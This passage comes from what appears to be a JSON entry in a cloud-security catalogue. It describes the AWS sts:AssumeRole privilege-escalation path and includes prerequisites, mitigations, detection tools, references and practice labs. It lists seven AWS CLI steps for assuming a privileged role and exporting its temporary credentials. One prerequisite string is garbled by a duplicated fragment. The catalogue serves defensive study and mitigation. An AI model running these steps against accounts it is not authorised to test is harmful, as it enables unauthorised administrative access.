        "If the role trusts the account root, e.g., `arn:aws:iam::012345678901:root`, any principal with `sts:AssumeRole` permission on the target role can assume it",
        "If the role trusts the starting principal explicitly, e.g, `arn:aws:iam::012345678901:user/startUser`, and that principal is in the same account as the target role, that principal does not need `sts:AssumeRole` permission. They just can assume the  role without any permissions.t as the target role, that principal does not need `sts:AssumeRole` permission. They just can assume the  role without any permissions."
      ],
      "lateral": [
        "The role's trust policy must allow the attacker's principal (user/role) to assume it",
        "If the role trusts the account root, e.g., `arn:aws:iam::012345678901:root`, any principal with `sts:AssumeRole` permission on the target role can assume it",
        "If the role trusts the starting principal explicitly, e.g, `arn:aws:iam::012345678901:user/startUser`, and that principal is in the same account as the target role, that principal does not need `sts:AssumeRole` permission. They just can assume the  role without any permissions."
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Verify current identity before privilege escalation"
        },
        {
          "step": 2,
          "command": "aws iam list-roles --query 'Roles[*].[RoleName,Arn]' --output table",
          "description": "List available roles to find targets with elevated permissions (optional but helpful for discovery)"
        },
        {
          "step": 3,
          "command": "aws iam get-role --role-name TARGET_ROLE",
          "description": "Check the role's trust policy to confirm the attacker can assume it, and view attached policies (optional)"
        },
        {
          "step": 4,
          "command": "aws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE \\\n  --role-session-name privesc-session\n",
          "description": "Assume the privileged role to obtain temporary credentials with elevated permissions"
        },
        {
          "step": 5,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4>\nexport AWS_SESSION_TOKEN=<SessionToken from step 4>\n",
          "description": "Configure the AWS CLI to use the assumed role credentials"
        },
        {
          "step": 6,
          "command": "aws sts get-caller-identity",
          "description": "Verify the assumed role identity"
        },
        {
          "step": 7,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained"
        }
      ]
    },
    "recommendation": "- Avoiding using the account root notation (`arn:aws:iam::012345678901:root`) for internal accounts. This is fine to use with external accounts along with the externalID field, but is almost always overly permissive when used for internal AWS accounts.\n- Only allow trusted principals to assume sensitive roles. Use conditions when possible.\n\nExample restrictive trust policy:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificTrustedRole\"\n      },\n      \"Action\": \"sts:AssumeRole\",\n      \"Condition\": {\n        \"IpAddress\": {\n          \"aws:SourceIp\": \"1.2.3.0/24\"\n        }\n      }\n    }\n  ]\n}\n```\n\nAdditional controls:\n- **Require MFA**: Require MFA for sensitive role assumptions using `aws:MultiFactorAuthPresent` condition\n- **Use External IDs**: Use external IDs for third-party cross-account role assumptions to prevent confused deputy attacks\n- **IP Address Restrictions**: Implement IP address restrictions in trust policies using `aws:SourceIp` condition when possible.\n- **Session Policies**: Implement session policies to limit permissions even when assuming privileged roles, providing an additional layer of defense\n- **Monitor CloudTrail**: Alert on `AssumeRole` events on privileged roles, especially from unexpected principals\n- **Alert on Patterns**: Alert on unusual assume-role patterns or assumptions from unexpected IP addresses\n",
    "limitations": "This path provides administrative access only if a role exists with administrative permissions that trusts the starting principal to assume it. The attacker gains whatever permissions the assumed role has. If only limited roles are available that trust the principal, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - STS Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/index.html#stsassumerole"
      },
      {
        "title": "IAM Vulnerable - AssumeRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "AWS IAM privilege escalation paths",
        "url": "https://pswalia2u.medium.com/aws-iam-privilege-escalation-paths-cba36be1aa9e"
      }
    ],
    "relatedPaths": [
      "iam-002",
      "iam-003",
      "iam-004"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/sts_edges.py#L73"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/sts-assumerole",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "STS-AssumeRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "lambda_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/",
        "scenarioPricingModel": "paid"
      },
      "pwnedlabs": {
        "type": "closed-source",
        "description": "Hosted cloud security labs with AWS privilege escalation scenarios",
        "scenario": "https://labs.pwnedlabs.io/demo-breach-in-the-cloud",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with sts:AssumeRole permission on the target role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "The privileged role being assumed. Must have a trust policy that allows the starting principal to assume it.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target role has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The assumed role has no interesting permissions beyond what the starting principal already had.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The assumed role has some permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "sts:AssumeRole",
          "description": "Use sts:AssumeRole to assume the target role. Requires both the permission and a matching trust policy on the role.\n"
        },
        {
          "from": "target_role",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account.\n"
        },
        {
          "from": "target_role",
          "to": "no_access",
          "label": "If role has no interesting permissions",
          "branch": "B",
          "condition": "no_permissions",
          "description": "If the role only has minimal permissions (like logs:PutLogEvents), there may be no additional access gained.\n"
        },
        {
          "from": "target_role",
          "to": "some_perms",
          "label": "If role has some permissions",
          "branch": "C",
          "condition": "some_permissions",
          "description": "If the role has permissions to access data or enable other escalation paths, further exploration is needed.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "sts:AssumeRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and the role's trust policy must allow the principal to assume it"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to assume"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2025-12-17T02:14:40Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/sts/sts-001.yaml"
  }
]